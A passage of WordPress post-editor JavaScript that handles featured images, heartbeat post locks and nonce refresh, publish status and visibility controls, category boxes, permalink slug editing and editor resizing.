					$('#the-comment-list').append('<tr><td colspan="2">'+wpAjax.broken+'</td></tr>');
				}
			);

			return false;
		},

		/**
		 * Load the next batch of comments.
		 *
		 * @memberof commentsBox
		 *
		 * @param {number} total Total number of comments to load.
		 */
		load: function(total){
			this.st = jQuery('#the-comment-list tr.comment:visible').length;
			this.get(total);
		}
	};

	/**
	 * Overwrite the content of the Featured Image postbox
	 *
	 * @param {string} html New HTML to be displayed in the content area of the postbox.
	 *
	 * @global
	 */
	window.WPSetThumbnailHTML = function(html){
		$('.inside', '#postimagediv').html(html);
	};

	/**
	 * Set the Image ID of the Featured Image
	 *
	 * @param {number} id The post_id of the image to use as Featured Image.
	 *
	 * @global
	 */
	window.WPSetThumbnailID = function(id){
		var field = $('input[value="_thumbnail_id"]', '#list-table');
		if ( field.length > 0 ) {
			$('#meta\\[' + field.attr('id').match(/[0-9]+/) + '\\]\\[value\\]').text(id);
		}
	};

	/**
	 * Remove the Featured Image
	 *
	 * @param {string} nonce Nonce to use in the request.
	 *
	 * @global
	 */
	window.WPRemoveThumbnail = function(nonce){
		$.post(
			ajaxurl, {
				action: 'set-post-thumbnail',
				post_id: $( '#post_ID' ).val(),
				thumbnail_id: -1,
				_ajax_nonce: nonce,
				cookie: encodeURIComponent( document.cookie )
			},
			/**
			 * Handle server response
			 *
			 * @param {string} str Response, will be '0' when an error occurred otherwise contains link to add Featured Image.
			 */
			function(str){
				if ( str == '0' ) {
					alert( __( 'Could not set that as the thumbnail image. Try a different attachment.' ) );
				} else {
					WPSetThumbnailHTML(str);
				}
			}
		);
	};

	/**
	 * Heartbeat locks.
	 *
	 * Used to lock editing of an object by only one user at a time.
	 *
	 * When the user does not send a heartbeat in a heartbeat-time
	 * the user is no longer editing and another user can start editing.
	 */
	$(document).on( 'heartbeat-send.refresh-lock', function( e, data ) {
		var lock = $('#active_post_lock').val(),
			post_id = $('#post_ID').val(),
			send = {};

		if ( ! post_id || ! $('#post-lock-dialog').length )
			return;

		send.post_id = post_id;

		if ( lock )
			send.lock = lock;

		data['wp-refresh-post-lock'] = send;

	}).on( 'heartbeat-tick.refresh-lock', function( e, data ) {
		// Post locks: update the lock string or show the dialog if somebody has taken over editing.
		var received, wrap, avatar;

		if ( data['wp-refresh-post-lock'] ) {
			received = data['wp-refresh-post-lock'];

			if ( received.lock_error ) {
				// Show "editing taken over" message.
				wrap = $('#post-lock-dialog');

				if ( wrap.length && ! wrap.is(':visible') ) {
					if ( wp.autosave ) {
						// Save the latest changes and disable.
						$(document).one( 'heartbeat-tick', function() {
							wp.autosave.server.suspend();
							wrap.removeClass('saving').addClass('saved');
							$(window).off( 'beforeunload.edit-post' );
						});

						wrap.addClass('saving');
						wp.autosave.server.triggerSave();
					}

					if ( received.lock_error.avatar_src ) {
						avatar = $( '<img />', {
							'class': 'avatar avatar-64 photo',
							width: 64,
							height: 64,
							alt: '',
							src: received.lock_error.avatar_src,
							srcset: received.lock_error.avatar_src_2x ?
								received.lock_error.avatar_src_2x + ' 2x' :
								undefined
						} );
						wrap.find('div.post-locked-avatar').empty().append( avatar );
					}

					wrap.show().find('.currently-editing').text( received.lock_error.text );
					wrap.find('.wp-tab-first').trigger( 'focus' );
				}
			} else if ( received.new_lock ) {
				$('#active_post_lock').val( received.new_lock );
			}
		}
	}).on( 'before-autosave.update-post-slug', function() {
		titleHasFocus = document.activeElement && document.activeElement.id === 'title';
	}).on( 'after-autosave.update-post-slug', function() {

		/*
		 * Create slug area only if not already there
		 * and the title field was not focused (user was not typing a title) when autosave ran.
		 */
		if ( ! $('#edit-slug-box > *').length && ! titleHasFocus ) {
			$.post( ajaxurl, {
					action: 'sample-permalink',
					post_id: $('#post_ID').val(),
					new_title: $('#title').val(),
					samplepermalinknonce: $('#samplepermalinknonce').val()
				},
				function( data ) {
					if ( data != '-1' ) {
						$('#edit-slug-box').html(data);
					}
				}
			);
		}
	});

}(jQuery));

/**
 * Heartbeat refresh nonces.
 */
(function($) {
	var check, timeout;

	/**
	 * Only allow to check for nonce refresh every 30 seconds.
	 */
	function schedule() {
		check = false;
		window.clearTimeout( timeout );
		timeout = window.setTimeout( function(){ check = true; }, 300000 );
	}

	$( function() {
		schedule();
	}).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) {
		var post_id,
			$authCheck = $('#wp-auth-check-wrap');

		if ( check || ( $authCheck.length && ! $authCheck.hasClass( 'hidden' ) ) ) {
			if ( ( post_id = $('#post_ID').val() ) && $('#_wpnonce').val() ) {
				data['wp-refresh-post-nonces'] = {
					post_id: post_id
				};
			}
		}
	}).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) {
		var nonces = data['wp-refresh-post-nonces'];

		if ( nonces ) {
			schedule();

			if ( nonces.replace ) {
				$.each( nonces.replace, function( selector, value ) {
					$( '#' + selector ).val( value );
				});
			}

			if ( nonces.heartbeatNonce )
				window.heartbeatSettings.nonce = nonces.heartbeatNonce;
		}
	});
}(jQuery));

/**
 * All post and postbox controls and functionality.
 */
jQuery( function($) {
	var stamp, visibility, $submitButtons, updateVisibility, updateText,
		$textarea = $('#content'),
		$document = $(document),
		postId = $('#post_ID').val() || 0,
		$submitpost = $('#submitpost'),
		releaseLock = true,
		$postVisibilitySelect = $('#post-visibility-select'),
		$timestampdiv = $('#timestampdiv'),
		$postStatusSelect = $('#post-status-select'),
		isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false,
		copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.edit-media' ),
		copyAttachmentURLSuccessTimeout,
		__ = wp.i18n.__, _x = wp.i18n._x;

	postboxes.add_postbox_toggles(pagenow);

	/*
	 * Clear the window name. Otherwise if this is a former preview window where the user navigated to edit another post,
	 * and the first post is still being edited, clicking Preview there will use this window to show the preview.
	 */
	window.name = '';

	// Post locks: contain focus inside the dialog. If the dialog is shown, focus the first item.
	$('#post-lock-dialog .notification-dialog').on( 'keydown', function(e) {
		// Don't do anything when [Tab] is pressed.
		if ( e.which != 9 )
			return;

		var target = $(e.target);

		// [Shift] + [Tab] on first tab cycles back to last tab.
		if ( target.hasClass('wp-tab-first') && e.shiftKey ) {
			$(this).find('.wp-tab-last').trigger( 'focus' );
			e.preventDefault();
		// [Tab] on last tab cycles back to first tab.
		} else if ( target.hasClass('wp-tab-last') && ! e.shiftKey ) {
			$(this).find('.wp-tab-first').trigger( 'focus' );
			e.preventDefault();
		}
	}).filter(':visible').find('.wp-tab-first').trigger( 'focus' );

	// Set the heartbeat interval to 15 seconds if post lock dialogs are enabled.
	if ( wp.heartbeat && $('#post-lock-dialog').length ) {
		wp.heartbeat.interval( 15 );
	}

	// The form is being submitted by the user.
	$submitButtons = $submitpost.find( ':submit, a.submitdelete, #post-preview' ).on( 'click.edit-post', function( event ) {
		var $button = $(this);

		if ( $button.hasClass('disabled') ) {
			event.preventDefault();
			return;
		}

		if ( $button.hasClass('submitdelete') || $button.is( '#post-preview' ) ) {
			return;
		}

		// The form submission can be blocked from JS or by using HTML 5.0 validation on some fields.
		// Run this only on an actual 'submit'.
		$('form#post').off( 'submit.edit-post' ).on( 'submit.edit-post', function( event ) {
			if ( event.isDefaultPrevented() ) {
				return;
			}

			// Stop auto save.
			if ( wp.autosave ) {
				wp.autosave.server.suspend();
			}

			if ( typeof commentReply !== 'undefined' ) {
				/*
				 * Warn the user they have an unsaved comment before submitting
				 * the post data for update.
				 */
				if ( ! commentReply.discardCommentChanges() ) {
					return false;
				}

				/*
				 * Close the comment edit/reply form if open to stop the form
				 * action from interfering with the post's form action.
				 */
				commentReply.close();
			}

			releaseLock = false;
			$(window).off( 'beforeunload.edit-post' );

			$submitButtons.addClass( 'disabled' );

			if ( $button.attr('id') === 'publish' ) {
				$submitpost.find( '#major-publishing-actions .spinner' ).addClass( 'is-active' );
			} else {
				$submitpost.find( '#minor-publishing .spinner' ).addClass( 'is-active' );
			}
		});
	});

	// Submit the form saving a draft or an autosave, and show a preview in a new tab.
	$('#post-preview').on( 'click.post-preview', function( event ) {
		var $this = $(this),
			$form = $('form#post'),
			$previewField = $('input#wp-preview'),
			target = $this.attr('target') || 'wp-preview',
			ua = navigator.userAgent.toLowerCase();

		event.preventDefault();

		if ( $this.hasClass('disabled') ) {
			return;
		}

		if ( wp.autosave ) {
			wp.autosave.server.tempBlockSave();
		}

		$previewField.val('dopreview');
		$form.attr( 'target', target ).trigger( 'submit' ).attr( 'target', '' );

		// Workaround for WebKit bug preventing a form submitting twice to the same action.
		// https://bugs.webkit.org/show_bug.cgi?id=28633
		if ( ua.indexOf('safari') !== -1 && ua.indexOf('chrome') === -1 ) {
			$form.attr( 'action', function( index, value ) {
				return value + '?t=' + ( new Date() ).getTime();
			});
		}

		$previewField.val('');
	});

	// This code is meant to allow tabbing from Title to Post content.
	$('#title').on( 'keydown.editor-focus', function( event ) {
		var editor;

		if ( event.keyCode === 9 && ! event.ctrlKey && ! event.altKey && ! event.shiftKey ) {
			editor = typeof tinymce != 'undefined' && tinymce.get('content');

			if ( editor && ! editor.isHidden() ) {
				editor.focus();
			} else if ( $textarea.length ) {
				$textarea.trigger( 'focus' );
			} else {
				return;
			}

			event.preventDefault();
		}
	});

	// Auto save new posts after a title is typed.
	if ( $( '#auto_draft' ).val() ) {
		$( '#title' ).on( 'blur', function() {
			var cancel;

			if ( ! this.value || $('#edit-slug-box > *').length ) {
				return;
			}

			// Cancel the auto save when the blur was triggered by the user submitting the form.
			$('form#post').one( 'submit', function() {
				cancel = true;
			});

			window.setTimeout( function() {
				if ( ! cancel && wp.autosave ) {
					wp.autosave.server.triggerSave();
				}
			}, 200 );
		});
	}

	$document.on( 'autosave-disable-buttons.edit-post', function() {
		$submitButtons.addClass( 'disabled' );
	}).on( 'autosave-enable-buttons.edit-post', function() {
		if ( ! wp.heartbeat || ! wp.heartbeat.hasConnectionError() ) {
			$submitButtons.removeClass( 'disabled' );
		}
	}).on( 'before-autosave.edit-post', function() {
		$( '.autosave-message' ).text( __( 'Saving Draft…' ) );
	}).on( 'after-autosave.edit-post', function( event, data ) {
		$( '.autosave-message' ).text( data.message );

		if ( $( document.body ).hasClass( 'post-new-php' ) ) {
			$( '.submitbox .submitdelete' ).show();
		}
	});

	/*
	 * When the user is trying to load another page, or reloads current page
	 * show a confirmation dialog when there are unsaved changes.
	 */
	$( window ).on( 'beforeunload.edit-post', function( event ) {
		var editor  = window.tinymce && window.tinymce.get( 'content' );
		var changed = false;

		if ( wp.autosave ) {
			changed = wp.autosave.server.postChanged();
		} else if ( editor ) {
			changed = ( ! editor.isHidden() && editor.isDirty() );
		}

		if ( changed ) {
			event.preventDefault();
			// The return string is needed for browser compat.
			// See https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event.
			return __( 'The changes you made will be lost if you navigate away from this page.' );
		}
	}).on( 'pagehide.edit-post', function( event ) {
		if ( ! releaseLock ) {
			return;
		}

		/*
		 * Unload is triggered (by hand) on removing the Thickbox iframe.
		 * Make sure we process only the main document unload.
		 */
		if ( event.target && event.target.nodeName != '#document' ) {
			return;
		}

		var postID = $('#post_ID').val();
		var postLock = $('#active_post_lock').val();

		if ( ! postID || ! postLock ) {
			return;
		}

		var data = {
			action: 'wp-remove-post-lock',
			_wpnonce: $('#_wpnonce').val(),
			post_ID: postID,
			active_post_lock: postLock
		};

		if ( window.FormData && window.navigator.sendBeacon ) {
			var formData = new window.FormData();

			$.each( data, function( key, value ) {
				formData.append( key, value );
			});

			if ( window.navigator.sendBeacon( ajaxurl, formData ) ) {
				return;
			}
		}

		// Fall back to a synchronous POST request.
		// See https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon
		$.post({
			async: false,
			data: data,
			url: ajaxurl
		});
	});

	// Multiple taxonomies.
	if ( $('#tagsdiv-post_tag').length ) {
		window.tagBox && window.tagBox.init();
	} else {
		$('.meta-box-sortables').children('div.postbox').each(function(){
			if ( this.id.indexOf('tagsdiv-') === 0 ) {
				window.tagBox && window.tagBox.init();
				return false;
			}
		});
	}

	// Handle categories.
	$('.categorydiv').each( function(){
		var this_id = $(this).attr('id'), catAddBefore, catAddAfter, taxonomyParts, taxonomy, settingName;

		taxonomyParts = this_id.split('-');
		taxonomyParts.shift();
		taxonomy = taxonomyParts.join('-');
		settingName = taxonomy + '_tab';

		if ( taxonomy == 'category' ) {
			settingName = 'cats';
		}

		// @todo Move to jQuery 1.3+, support for multiple hierarchical taxonomies, see wp-lists.js.
		$('a', '#' + taxonomy + '-tabs').on( 'click', function( e ) {
			e.preventDefault();
			var t = $(this).attr('href');
			$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
			$('#' + taxonomy + '-tabs').siblings('.tabs-panel').hide();
			$(t).show();
			if ( '#' + taxonomy + '-all' == t ) {
				deleteUserSetting( settingName );
			} else {
				setUserSetting( settingName, 'pop' );
			}
		});

		if ( getUserSetting( settingName ) )
			$('a[href="#' + taxonomy + '-pop"]', '#' + taxonomy + '-tabs').trigger( 'click' );

		// Add category button controls.
		$('#new' + taxonomy).one( 'focus', function() {
			$( this ).val( '' ).removeClass( 'form-input-tip' );
		});

		// On [Enter] submit the taxonomy.
		$('#new' + taxonomy).on( 'keypress', function(event){
			if( 13 === event.keyCode ) {
				event.preventDefault();
				$('#' + taxonomy + '-add-submit').trigger( 'click' );
			}
		});

		// After submitting a new taxonomy, re-focus the input field.
		$('#' + taxonomy + '-add-submit').on( 'click', function() {
			$('#new' + taxonomy).trigger( 'focus' );
		});

		/**
		 * Before adding a new taxonomy, disable submit button.
		 *
		 * @param {Object} s Taxonomy object which will be added.
		 *
		 * @return {Object}
		 */
		catAddBefore = function( s ) {
			if ( !$('#new'+taxonomy).val() ) {
				return false;
			}

			s.data += '&' + $( ':checked', '#'+taxonomy+'checklist' ).serialize();
			$( '#' + taxonomy + '-add-submit' ).prop( 'disabled', true );
			return s;
		};

		/**
		 * Re-enable submit button after a taxonomy has been added.
		 *
		 * Re-enable submit button.
		 * If the taxonomy has a parent place the taxonomy underneath the parent.
		 *
		 * @param {Object} r Response.
		 * @param {Object} s Taxonomy data.
		 *
		 * @return {void}
		 */
		catAddAfter = function( r, s ) {
			var sup, drop = $('#new'+taxonomy+'_parent');

			$( '#' + taxonomy + '-add-submit' ).prop( 'disabled', false );
			if ( 'undefined' != s.parsed.responses[0] && (sup = s.parsed.responses[0].supplemental.newcat_parent) ) {
				drop.before(sup);
				drop.remove();
			}
		};

		$('#' + taxonomy + 'checklist').wpList({
			alt: '',
			response: taxonomy + '-ajax-response',
			addBefore: catAddBefore,
			addAfter: catAddAfter
		});

		// Add new taxonomy button toggles input form visibility.
		$('#' + taxonomy + '-add-toggle').on( 'click', function( e ) {
			e.preventDefault();
			$('#' + taxonomy + '-adder').toggleClass( 'wp-hidden-children' );
			$('a[href="#' + taxonomy + '-all"]', '#' + taxonomy + '-tabs').trigger( 'click' );
			$('#new'+taxonomy).trigger( 'focus' );
		});

		// Sync checked items between "All {taxonomy}" and "Most used" lists.
		$('#' + taxonomy + 'checklist, #' + taxonomy + 'checklist-pop').on(
			'click',
			'li.popular-category > label input[type="checkbox"]',
			function() {
				var t = $(this), c = t.is(':checked'), id = t.val();
				if ( id && t.parents('#taxonomy-'+taxonomy).length )
					$('#in-' + taxonomy + '-' + id + ', #in-popular-' + taxonomy + '-' + id).prop( 'checked', c );
			}
		);

	}); // End cats.

	// Custom Fields postbox.
	if ( $('#postcustom').length ) {
		$( '#the-list' ).wpList( {
			/**
			 * Add current post_ID to request to fetch custom fields
			 *
			 * @ignore
			 *
			 * @param {Object} s Request object.
			 *
			 * @return {Object} Data modified with post_ID attached.
			 */
			addBefore: function( s ) {
				s.data += '&post_id=' + $('#post_ID').val();
				return s;
			},
			/**
			 * Show the listing of custom fields after fetching.
			 *
			 * @ignore
			 */
			addAfter: function() {
				$('table#list-table').show();
			}
		});
	}

	/*
	 * Publish Post box (#submitdiv)
	 */
	if ( $('#submitdiv').length ) {
		stamp = $('#timestamp').html();
		visibility = $('#post-visibility-display').html();

		/**
		 * When the visibility of a post changes sub-options should be shown or hidden.
		 *
		 * @ignore
		 *
		 * @return {void}
		 */
		updateVisibility = function() {
			// Show sticky for public posts.
			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'public' ) {
				$('#sticky').prop('checked', false);
				$('#sticky-span').hide();
			} else {
				$('#sticky-span').show();
			}

			// Show password input field for password protected post.
			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'password' ) {
				$('#password-span').hide();
			} else {
				$('#password-span').show();
			}
		};

		/**
		 * Make sure all labels represent the current settings.
		 *
		 * @ignore
		 *
		 * @return {boolean} False when an invalid timestamp has been selected, otherwise True.
		 */
		updateText = function() {

			if ( ! $timestampdiv.length )
				return true;

			var attemptedDate, originalDate, currentDate, publishOn, postStatus = $('#post_status'),
				optPublish = $('option[value="publish"]', postStatus), aa = $('#aa').val(),
				mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val();

			attemptedDate = new Date( aa, mm - 1, jj, hh, mn );
			originalDate = new Date(
				$('#hidden_aa').val(),
				$('#hidden_mm').val() -1,
				$('#hidden_jj').val(),
				$('#hidden_hh').val(),
				$('#hidden_mn').val()
			);
			currentDate = new Date(
				$('#cur_aa').val(),
				$('#cur_mm').val() -1,
				$('#cur_jj').val(),
				$('#cur_hh').val(),
				$('#cur_mn').val()
			);

			// Catch unexpected date problems.
			if (
				attemptedDate.getFullYear() != aa ||
				(1 + attemptedDate.getMonth()) != mm ||
				attemptedDate.getDate() != jj ||
				attemptedDate.getMinutes() != mn
			) {
				$timestampdiv.find('.timestamp-wrap').addClass('form-invalid');
				return false;
			} else {
				$timestampdiv.find('.timestamp-wrap').removeClass('form-invalid');
			}

			// Determine what the publish should be depending on the date and post status.
			if ( attemptedDate > currentDate ) {
				publishOn = __( 'Schedule for:' );
				$('#publish').val( _x( 'Schedule', 'post action/button label' ) );
			} else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) {
				publishOn = __( 'Publish on:' );
				$('#publish').val( __( 'Publish' ) );
			} else {
				publishOn = __( 'Published on:' );
				$('#publish').val( __( 'Update' ) );
			}

			// If the date is the same, set it to trigger update events.
			if ( originalDate.toUTCString() == attemptedDate.toUTCString() ) {
				// Re-set to the current value.
				$('#timestamp').html(stamp);
			} else {
				$('#timestamp').html(
					'\n' + publishOn + ' <b>' +
					// translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute.
					__( '%1$s %2$s, %3$s at %4$s:%5$s' )
						.replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) )
						.replace( '%2$s', parseInt( jj, 10 ) )
						.replace( '%3$s', aa )
						.replace( '%4$s', ( '00' + hh ).slice( -2 ) )
						.replace( '%5$s', ( '00' + mn ).slice( -2 ) ) +
						'</b> '
				);
			}

			// Add "privately published" to post status when applies.
			if ( $postVisibilitySelect.find('input:radio:checked').val() == 'private' ) {
				$('#publish').val( __( 'Update' ) );
				if ( 0 === optPublish.length ) {
					postStatus.append('<option value="publish">' + __( 'Privately Published' ) + '</option>');
				} else {
					optPublish.html( __( 'Privately Published' ) );
				}
				$('option[value="publish"]', postStatus).prop('selected', true);
				$('#misc-publishing-actions .edit-post-status').hide();
			} else {
				if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) {
					if ( optPublish.length ) {
						optPublish.remove();
						postStatus.val($('#hidden_post_status').val());
					}
				} else {
					optPublish.html( __( 'Published' ) );
				}
				if ( postStatus.is(':hidden') )
					$('#misc-publishing-actions .edit-post-status').show();
			}

			// Update "Status:" to currently selected status.
			$('#post-status-display').text(
				// Remove any potential tags from post status text.
				wp.sanitize.stripTagsAndEncodeText( $('option:selected', postStatus).text() )
			);

			// Show or hide the "Save Draft" button.
			if (
				$('option:selected', postStatus).val() == 'private' ||
				$('option:selected', postStatus).val() == 'publish'
			) {
				$('#save-post').hide();
			} else {
				$('#save-post').show();
				if ( $('option:selected', postStatus).val() == 'pending' ) {
					$('#save-post').show().val( __( 'Save as Pending' ) );
				} else {
					$('#save-post').show().val( __( 'Save Draft' ) );
				}
			}
			return true;
		};

		// Show the visibility options and hide the toggle button when opened.
		$( '#visibility .edit-visibility').on( 'click', function( e ) {
			e.preventDefault();
			if ( $postVisibilitySelect.is(':hidden') ) {
				updateVisibility();
				$postVisibilitySelect.slideDown( 'fast', function() {
					$postVisibilitySelect.find( 'input[type="radio"]' ).first().trigger( 'focus' );
				} );
				$(this).hide();
			}
		});

		// Cancel visibility selection area and hide it from view.
		$postVisibilitySelect.find('.cancel-post-visibility').on( 'click', function( event ) {
			$postVisibilitySelect.slideUp('fast');
			$('#visibility-radio-' + $('#hidden-post-visibility').val()).prop('checked', true);
			$('#post_password').val($('#hidden-post-password').val());
			$('#sticky').prop('checked', $('#hidden-post-sticky').prop('checked'));
			$('#post-visibility-display').html(visibility);
			$('#visibility .edit-visibility').show().trigger( 'focus' );
			updateText();
			event.preventDefault();
		});

		// Set the selected visibility as current.
		$postVisibilitySelect.find('.save-post-visibility').on( 'click', function( event ) { // Crazyhorse - multiple OK cancels.
			var visibilityLabel = '', selectedVisibility = $postVisibilitySelect.find('input:radio:checked').val();

			$postVisibilitySelect.slideUp('fast');
			$('#visibility .edit-visibility').show().trigger( 'focus' );
			updateText();

			if ( 'public' !== selectedVisibility ) {
				$('#sticky').prop('checked', false);
			}

			switch ( selectedVisibility ) {
				case 'public':
					visibilityLabel = $( '#sticky' ).prop( 'checked' ) ? __( 'Public, Sticky' ) : __( 'Public' );
					break;
				case 'private':
					visibilityLabel = __( 'Private' );
					break;
				case 'password':
					visibilityLabel = __( 'Password Protected' );
					break;
			}

			$('#post-visibility-display').text( visibilityLabel );
			event.preventDefault();
		});

		// When the selection changes, update labels.
		$postVisibilitySelect.find('input:radio').on( 'change', function() {
			updateVisibility();
		});

		// Edit publish time click.
		$timestampdiv.siblings('a.edit-timestamp').on( 'click', function( event ) {
			if ( $timestampdiv.is( ':hidden' ) ) {
				$timestampdiv.slideDown( 'fast', function() {
					$( 'input, select', $timestampdiv.find( '.timestamp-wrap' ) ).first().trigger( 'focus' );
				} );
				$(this).hide();
			}
			event.preventDefault();
		});

		// Cancel editing the publish time and hide the settings.
		$timestampdiv.find('.cancel-timestamp').on( 'click', function( event ) {
			$timestampdiv.slideUp('fast').siblings('a.edit-timestamp').show().trigger( 'focus' );
			$('#mm').val($('#hidden_mm').val());
			$('#jj').val($('#hidden_jj').val());
			$('#aa').val($('#hidden_aa').val());
			$('#hh').val($('#hidden_hh').val());
			$('#mn').val($('#hidden_mn').val());
			updateText();
			event.preventDefault();
		});

		// Save the changed timestamp.
		$timestampdiv.find('.save-timestamp').on( 'click', function( event ) { // Crazyhorse - multiple OK cancels.
			if ( updateText() ) {
				$timestampdiv.slideUp('fast');
				$timestampdiv.siblings('a.edit-timestamp').show().trigger( 'focus' );
			}
			event.preventDefault();
		});

		// Cancel submit when an invalid timestamp has been selected.
		$('#post').on( 'submit', function( event ) {
			if ( ! updateText() ) {
				event.preventDefault();
				$timestampdiv.show();

				if ( wp.autosave ) {
					wp.autosave.enableButtons();
				}

				$( '#publishing-action .spinner' ).removeClass( 'is-active' );
			}
		});

		// Post Status edit click.
		$postStatusSelect.siblings('a.edit-post-status').on( 'click', function( event ) {
			if ( $postStatusSelect.is( ':hidden' ) ) {
				$postStatusSelect.slideDown( 'fast', function() {
					$postStatusSelect.find('select').trigger( 'focus' );
				} );
				$(this).hide();
			}
			event.preventDefault();
		});

		// Save the Post Status changes and hide the options.
		$postStatusSelect.find('.save-post-status').on( 'click', function( event ) {
			$postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' );
			updateText();
			event.preventDefault();
		});

		// Cancel Post Status editing and hide the options.
		$postStatusSelect.find('.cancel-post-status').on( 'click', function( event ) {
			$postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' );
			$('#post_status').val( $('#hidden_post_status').val() );
			updateText();
			event.preventDefault();
		});
	}

	/**
	 * Handle the editing of the post_name. Create the required HTML elements and
	 * update the changes via Ajax.
	 *
	 * @global
	 *
	 * @return {void}
	 */
	function editPermalink() {
		var i, slug_value, slug_label,
			$el, revert_e,
			c = 0,
			real_slug = $('#post_name'),
			revert_slug = real_slug.val(),
			permalink = $( '#sample-permalink' ),
			permalinkOrig = permalink.html(),
			permalinkInner = $( '#sample-permalink a' ).html(),
			buttons = $('#edit-slug-buttons'),
			buttonsOrig = buttons.html(),
			full = $('#editable-post-name-full');

		// Deal with Twemoji in the post-name.
		full.find( 'img' ).replaceWith( function() { return this.alt; } );
		full = full.html();

		permalink.html( permalinkInner );

		// Save current content to revert to when cancelling.
		$el = $( '#editable-post-name' );
		revert_e = $el.html();

		buttons.html(
			'<button type="button" class="save button button-small">' + __( 'OK' ) + '</button> ' +
			'<button type="button" class="cancel button-link">' + __( 'Cancel' ) + '</button>'
		);

		// Save permalink changes.
		buttons.children( '.save' ).on( 'click', function() {
			var new_slug = $el.children( 'input' ).val();

			if ( new_slug == $('#editable-post-name-full').text() ) {
				buttons.children('.cancel').trigger( 'click' );
				return;
			}

			$.post(
				ajaxurl,
				{
					action: 'sample-permalink',
					post_id: postId,
					new_slug: new_slug,
					new_title: $('#title').val(),
					samplepermalinknonce: $('#samplepermalinknonce').val()
				},
				function(data) {
					var box = $('#edit-slug-box');
					box.html(data);
					if (box.hasClass('hidden')) {
						box.fadeIn('fast', function () {
							box.removeClass('hidden');
						});
					}

					buttons.html(buttonsOrig);
					permalink.html(permalinkOrig);
					real_slug.val(new_slug);
					$( '.edit-slug' ).trigger( 'focus' );
					wp.a11y.speak( __( 'Permalink saved' ) );
				}
			);
		});

		// Cancel editing of permalink.
		buttons.children( '.cancel' ).on( 'click', function() {
			$('#view-post-btn').show();
			$el.html(revert_e);
			buttons.html(buttonsOrig);
			permalink.html(permalinkOrig);
			real_slug.val(revert_slug);
			$( '.edit-slug' ).trigger( 'focus' );
		});

		// If more than 1/4th of 'full' is '%', make it empty.
		for ( i = 0; i < full.length; ++i ) {
			if ( '%' == full.charAt(i) )
				c++;
		}
		slug_value = ( c > full.length / 4 ) ? '' : full;
		slug_label = __( 'URL Slug' );

		$el.html(
			'<label for="new-post-slug" class="screen-reader-text">' + slug_label + '</label>' +
			'<input type="text" id="new-post-slug" value="' + slug_value + '" autocomplete="off" spellcheck="false" />'
		).children( 'input' ).on( 'keydown', function( e ) {
			var key = e.which;
			// On [Enter], just save the new slug, don't save the post.
			if ( 13 === key ) {
				e.preventDefault();
				buttons.children( '.save' ).trigger( 'click' );
			}
			// On [Esc] cancel the editing.
			if ( 27 === key ) {
				buttons.children( '.cancel' ).trigger( 'click' );
			}
		} ).on( 'keyup', function() {
			real_slug.val( this.value );
		}).trigger( 'focus' );
	}

	$( '#titlediv' ).on( 'click', '.edit-slug', function() {
		editPermalink();
	});

	/**
	 * Adds screen reader text to the title label when needed.
	 *
	 * Use the 'screen-reader-text' class to emulate a placeholder attribute
	 * and hide the label when entering a value.
	 *
	 * @param {string} id Optional. HTML ID to add the screen reader helper text to.
	 *
	 * @global
	 *
	 * @return {void}
	 */
	window.wptitlehint = function( id ) {
		id = id || 'title';

		var title = $( '#' + id ), titleprompt = $( '#' + id + '-prompt-text' );

		if ( '' === title.val() ) {
			titleprompt.removeClass( 'screen-reader-text' );
		}

		title.on( 'input', function() {
			if ( '' === this.value ) {
				titleprompt.removeClass( 'screen-reader-text' );
				return;
			}

			titleprompt.addClass( 'screen-reader-text' );
		} );
	};

	wptitlehint();

	// Resize the WYSIWYG and plain text editors.
	( function() {
		var editor, offset, mce,
			$handle = $('#post-status-info'),
			$postdivrich = $('#postdivrich');

		// If there are no textareas or we are on a touch device, we can't do anything.
		if ( ! $textarea.length || 'ontouchstart' in window ) {
			// Hide the resize handle.
			$('#content-resize-handle').hide();
			return;
		}

		/**
		 * Handle drag event.
		 *
		 * @param {Object} event Event containing details about the drag.
		 */
		function dragging( event ) {
			if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
				return;
			}

			if ( mce ) {
				editor.theme.resizeTo( null, offset + event.pageY );
			} else {
				$textarea.height( Math.max( 50, offset + event.pageY ) );
			}

			event.preventDefault();
		}

		/**
		 * When the dragging stopped make sure we return focus and do a sanity check on the height.
		 */
		function endDrag() {
			var height, toolbarHeight;

			if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
				return;
			}

			if ( mce ) {
				editor.focus();
				toolbarHeight = parseInt( $( '#wp-content-editor-container .mce-toolbar-grp' ).height(), 10 );

				if ( toolbarHeight < 10 || toolbarHeight > 200 ) {
					toolbarHeight = 30;
				}

				height = parseInt( $('#content_ifr').css('height'), 10 ) + toolbarHeight - 28;
			} else {
				$textarea.trigger( 'focus' );
				height = parseInt( $textarea.css('height'), 10 );
			}

			$document.off( '.wp-editor-resize' );

			// Sanity check: normalize height to stay within acceptable ranges.
			if ( height && height > 50 && height < 5000 ) {
				setUserSetting( 'ed_size', height );
			}
		}

		$handle.on( 'mousedown.wp-editor-resize', function( event ) {
			if ( typeof tinymce !== 'undefined' ) {
				editor = tinymce.get('content');
			}

			if ( editor && ! editor.isHidden() ) {
				mce = true;
				offset = $('#content_ifr').height() - event.pageY;
			} else {
				mce = false;
				offset = $textarea.height() - event.pageY;
				$textarea.trigger( 'blur' );
			}

			$document.on( 'mousemove.wp-editor-resize', dragging )
				.on( 'mouseup.wp-editor-resize mouseleave.wp-editor-resize', endDrag );

			event.preventDefault();
		}).on( 'mouseup.wp-editor-resize', endDrag );
	})();

	// TinyMCE specific handling of Post Format changes to reflect in the editor.
